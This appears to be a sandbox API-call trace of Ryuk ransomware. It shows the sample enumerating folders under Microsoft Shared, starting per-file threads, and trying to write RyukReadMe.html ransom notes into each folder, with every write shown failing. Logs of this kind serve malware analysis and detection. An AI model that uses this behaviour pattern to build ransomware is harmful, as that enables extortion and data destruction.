	[0160.368] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe777f900, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x60d54030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe777f900, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x133200, dwReserved0=0x7c, dwReserved1=0x0, cFileName="hxds.dll", cAlternateFileName="")) returned 1
	[0160.368] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3e47200, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x522dc930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe3e47200, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x1bf200, dwReserved0=0x7c, dwReserved1=0x0, cFileName="ITIRCL55.DLL", cAlternateFileName="")) returned 1
	[0160.369] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe777f900, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x616b36d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe777f900, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x69000, dwReserved0=0x7c, dwReserved1=0x0, cFileName="msitss55.dll", cAlternateFileName="")) returned 1
	[0160.369] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe777f900, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x616b36d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe777f900, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x69000, dwReserved0=0x7c, dwReserved1=0x0, cFileName="msitss55.dll", cAlternateFileName="")) returned 0
	[0160.369] FindClose (in: hFindFile=0x7bfd0 | out: hFindFile=0x7bfd0) returned 1
	[0160.369] SetLastError (dwErrCode=0x0) 
	[0160.369] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0160.369] GetLastError () returned 0x5
	[0160.369] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0) returned 0
	[0160.370] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0160.370] FindNextFileW (in: hFindFile=0x7bf70, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5a, dwReserved1=0x0, cFileName="ink", cAlternateFileName="")) returned 1
	[0160.370] SetLastError (dwErrCode=0x0) 
	[0160.370] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0160.370] GetLastError () returned 0x5
	[0160.370] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0) returned 0
	[0160.370] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0160.370] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7bfd0
	[0160.371] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0160.371] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c2bbccc, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6c2bbccc, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x90daefa5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc1486, dwReserved0=0x7c, dwReserved1=0x0, cFileName="Alphabet.xml", cAlternateFileName="")) returned 1
	[0160.371] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0160.372] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2f0
	[0160.377] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0160.377] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="ar-SA", cAlternateFileName="")) returned 1
	[0160.378] SetLastError (dwErrCode=0x0) 
	[0160.378] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0160.378] GetLastError () returned 0x5
	[0160.378] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0160.379] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0160.379] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c5d0
	[0160.381] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0160.381] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe846a08f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe86330eb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe8659248, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0160.381] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe846a08f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe86330eb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe8659248, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0
	[0160.381] FindClose (in: hFindFile=0x7c5d0 | out: hFindFile=0x7c5d0) returned 1
	[0160.381] SetLastError (dwErrCode=0x0) 
	[0160.381] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0160.382] GetLastError () returned 0x5
	[0160.382] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0160.382] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0160.382] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="bg-BG", cAlternateFileName="")) returned 1
	[0160.382] SetLastError (dwErrCode=0x0) 
	[0160.382] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0160.382] GetLastError () returned 0x5
	[0160.383] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0160.383] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0160.383] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c5d0
	[0160.383] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0160.384] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea1207ac, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea335ac2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea35bc1f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0160.384] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea1207ac, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea335ac2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea35bc1f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0
	[0160.384] FindClose (in: hFindFile=0x7c5d0 | out: hFindFile=0x7c5d0) returned 1
	[0160.384] SetLastError (dwErrCode=0x0) 
	[0160.384] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0160.384] GetLastError () returned 0x5
	[0160.384] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0160.385] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0160.385] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90daefa5, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x90daefa5, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x90daefa5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x69a5, dwReserved0=0x7c, dwReserved1=0x0, cFileName="Content.xml", cAlternateFileName="")) returned 1
	[0160.385] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0160.386] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2f4
	[0160.388] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0160.388] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c92176b, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6c92176b, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xdd6ec0f0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2f200, dwReserved0=0x7c, dwReserved1=0x0, cFileName="ConvertInkStore.exe", cAlternateFileName="")) returned 1
	[0160.388] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1
	[0160.389] SetLastError (dwErrCode=0x0) 
	[0160.389] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0160.389] GetLastError () returned 0x5
	[0160.389] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0160.389] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0160.389] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c5d0
	[0160.390] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0160.390] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6ce8929, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6f23d9c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6f23d9c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0160.390] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6ce8929, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6f23d9c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6f23d9c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0
	[0160.390] FindClose (in: hFindFile=0x7c5d0 | out: hFindFile=0x7c5d0) returned 1
	[0160.391] SetLastError (dwErrCode=0x0) 
	[0160.391] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0160.391] GetLastError () returned 0x5
	[0160.391] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0160.391] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0160.391] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1
	[0160.391] SetLastError (dwErrCode=0x0) 
	[0160.392] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0160.392] GetLastError () returned 0x5
	[0160.392] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0160.392] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0160.392] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c5d0
	[0160.393] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0160.393] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6fbc310, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe71ab4c9, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe71d1626, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0160.393] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6fbc310, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe71ab4c9, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe71d1626, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0
	[0160.394] FindClose (in: hFindFile=0x7c5d0 | out: hFindFile=0x7c5d0) returned 1
	[0160.394] SetLastError (dwErrCode=0x0) 
	[0160.394] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0160.394] GetLastError () returned 0x5
	[0160.394] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0160.395] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0160.395] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1
